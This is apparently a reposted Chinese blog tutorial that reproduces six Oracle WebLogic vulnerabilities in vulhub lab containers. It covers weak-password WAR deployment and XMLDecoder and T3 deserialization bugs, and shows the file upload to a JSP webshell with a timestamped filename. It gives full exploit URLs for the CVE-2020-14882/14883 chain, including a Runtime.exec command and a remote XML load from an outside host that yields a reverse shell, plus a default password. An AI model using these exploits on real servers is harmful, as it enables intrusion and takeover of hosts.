当前位置: 首页 > news >正文

常见中间件漏洞(二、WebLogin合集)

目录

二、WebLogic

Weblogic介绍

2.1 后台弱口令GetShell

漏洞描述

影响范围

环境搭建

漏洞复现

2.2 CVE-2017-3506

漏洞描述

影响版本

环境搭建

漏洞复现

2.3 CVE-2019-2725

漏洞描述

影响版本

环境搭建

漏洞复现

2.4 CVE-2018-2628

漏洞描述

漏洞影响

环境搭建

漏洞复现

2.5 CVE-2018-2894_

漏洞描述

漏洞版本

环境搭建

漏洞复现

2.6 CVE-2020-14882

漏洞描述

影响版本

环境搭建

漏洞复现

另外一种方式


二、WebLogic

Weblogic介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,默认端口:7001 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2.1 后台弱口令GetShell

漏洞描述

通过弱口令进入后台界面,上传部署war包,getshell

影响范围

全版本(前提后台存在弱口令)

环境搭建
cd vulhub/weblogic/weak_passworddocker-compose up -d

漏洞复现

默认账号密码:weblogic/Oracle@123

weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic这里注意, 单个账号错误密码5次之后就会自动锁定。

  1. 登录后台后,点击部署,点击安装,点击上传文件,

2.上传war包,jsp木马压缩成zip,修改后缀为war,上传

3.然后一直点击下一步,直到完成

4.访问部署好的war,并且用工具连接

http://60.205.170.32:7001/test/1.jsp

2.2 CVE-2017-3506

XMLDecoder反序列化漏洞

漏洞描述

Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。

影响版本

受影响版本:WebLogic 10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2。

环境搭建
cd vulhub/weblogic/weak_passworddocker-compose up -d
漏洞复现

访问以下目录中的一种,有回显如下图可以判断wIs-wsat组件存在

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

  1. 验证是否存在wls-wsat组件

http://60.205.170.32:7001/wls-wsat/CoordinatorPortType

2.在当前页面抓包之后,添加下面请求包,在标签之间分别写存放 jsp 的路径和要写入的123.jsp

3.访问URL

http://60.205.170.32:7001/bea_wls_internal/123.jsp

2.3 CVE-2019-2725

漏洞描述

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

影响版本

weblogic 10.x weblogic 12.1.3

环境搭建
cd vulhub/weblogic/weak_passworddocker-compose up -d

漏洞复现

1.漏洞验证

http://47.99.98.0:7011/_async/AsyncResponseService

如果出现一下页面,则说明存在漏洞

  1. 在当前页面抓包,修改请求包,写入shell

3.哥斯拉连接

http://47.99.98.0:7011/bea_wls_internal/12121.jsp

2.4 CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)

漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据,服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中并创建T3协议通信连接,将流量传输到Java虚拟机.T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的反序列化数据,进行反序列化,实现对存在漏洞的weblogic组件的远程代码执行攻击。

漏洞影响

Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 Oracle WebLogicServer12.2.1.2.0 Oracle WebLogic Server12.2.1.3.0

环境搭建
cd vulhub/weblogic/CVE-2018-2628docker-compose up -d

漏洞复现

1.直接使用利用工具(Liqun工具箱)

2.哥斯拉连接

http://47.99.98.0:7012/_async/cmd.jsp

2.5 CVE-2018-2894_

WebLogic文件任意上传漏洞

漏洞描述

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。

漏洞版本

weblogic 10.3.6.0

weblogic 12.1.3.0

weblogic 12.2.1.2

weblogic 12.2.1.3

环境搭建
cd vulhub/weblogic/CVE-2018-2894docker-compose up -d

这里环境后台密码是随机得,获取密码:docker-compose logs | grep password

设置Web服务测试开启

http://47.99.98.0:7013/console/login/LoginForm.jsp

设置web服务测试开启:域结构->base-domain->高级->启动Web服务测试页

点击保存,进入 config.do 文件进行设置,将目录设置为 ws utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要

http://47.99.98.0:7013/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

漏洞复现

1.点击安全,点击添加,上传一个jsp木马

2.右键审查元素,然后搜索16,找到对应时间戳

3.Webshell链接

http://47.99.98.0:7013/ws_utc/css/config/keystore/1722950569989_shell.jsp

时间戳_文件名.jsp

2.6 CVE-2020-14882

WebLogic远程代码执行漏洞

漏洞描述

CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机

影响版本

Oracle Weblogic Server 10.3.6.0

Oracle Weblogic Server 12.1.3.0

Oracle Weblogic Server 12.2.1.3

Oracle Weblogic Server 12.2.1.4

Oracle Weblogic Server 14.1.1.0

环境搭建
cd vulhub/weblogic/CVE-2020-14882docker-compose up -d

漏洞复现

1.访问管理控制台

http://47.99.98.0:7014/console/login/LoginForm.jsp

使用以下url绕过登录认证

2.使用以下url绕过登录认证

http://47.99.98.0:7014/console/css/%252e%252e%252fconsole.portal

此时达到未授权得效果。还未能GetShel。可以利用第二个漏洞(CVE-2020-14883),这远程加载XML文件拿到Shell

3.首先访问以下 URL,以连接 2 个漏洞并执行以下命令

http://47.99.98.0:7014/console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

我们进入到docker中可以看到命令已经成功运行了

另外一种方式

1.制作一个恶意XML文件,将其提供到Weblogic可以访问得服务器上:

2.然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令

http://47.99.98.0:7014/console/css/%252e%252e%252fconsole.portal?nfpb=true& pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://47.99.98.0/rce.xml")

成功接收到反弹的shell

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 下载mmcv或者mmcv-full第三方库失败(已解决)
  • 恶意软件研究之静态检测
  • 数据结构:带索引的双链表IDL
  • STM32-门电路-储存器-寄存器-STM32f1-MCU-GPIO-总线-keil5-点led
  • 惠普澄清供应链转移传闻:中国在全球布局中扮演核心角色
  • Vuforia AR篇(九)— AR塔防下篇
  • 简单分享下python打包手机app的apk
  • 【C++】初识面向对象:类与对象详解
  • 十八.核心动画 - 使用CAGradientLayer图层构建渐变视图
  • 用Python在Word文档中创建和执行条件邮件合并
  • bootstrap之表格
  • module ‘pkgutil‘ has no attribute ‘ImpImporter‘. Did you mean: ‘zipimporter‘?
  • javascript:检测图片的宽高
  • 社交及时通讯平台完整版源码,uniapp技术,可打包成app
  • QEMU理解与分析系列(1):QEMU简介
  • [原]深入对比数据科学工具箱:Python和R 非结构化数据的结构化
  • es6
  • Javascript Math对象和Date对象常用方法详解
  • java正则表式的使用
  • leetcode讲解--894. All Possible Full Binary Trees
  • Mithril.js 入门介绍
  • Python3爬取英雄联盟英雄皮肤大图
  • Unix命令
  • vue学习系列(二)vue-cli
  • Web标准制定过程
  • 安卓应用性能调试和优化经验分享
  • 从伪并行的 Python 多线程说起
  • 给新手的新浪微博 SDK 集成教程【一】
  • 函数式编程与面向对象编程[4]:Scala的类型关联Type Alias
  • 基于 Babel 的 npm 包最小化设置
  • 基于阿里云移动推送的移动应用推送模式最佳实践
  • 解析带emoji和链接的聊天系统消息
  • 两列自适应布局方案整理
  • 盘点那些不知名却常用的 Git 操作
  • 前嗅ForeSpider中数据浏览界面介绍
  • 融云开发漫谈:你是否了解Go语言并发编程的第一要义?
  • 三栏布局总结
  • 手机端车牌号码键盘的vue组件
  • 在 Chrome DevTools 中调试 JavaScript 入门
  • 【运维趟坑回忆录 开篇】初入初创, 一脸懵
  • ​DB-Engines 12月数据库排名: PostgreSQL有望获得「2020年度数据库」荣誉?
  • #我与Java虚拟机的故事#连载11: JVM学习之路
  • ${factoryList }后面有空格不影响
  • (3)选择元素——(14)接触DOM元素(Accessing DOM elements)
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (附源码)ssm经济信息门户网站 毕业设计 141634
  • (转)JAVA中的堆栈
  • .360、.halo勒索病毒的最新威胁:如何恢复您的数据?
  • .NET 8 跨平台高性能边缘采集网关
  • .NET CORE 2.0发布后没有 VIEWS视图页面文件
  • .NET Core中的去虚
  • .NET/C# 判断某个类是否是泛型类型或泛型接口的子类型
  • .NET4.0并行计算技术基础(1)
  • .NET8 动态添加定时任务(CRON Expression, Whatever)
  • .NET开发人员必知的八个网站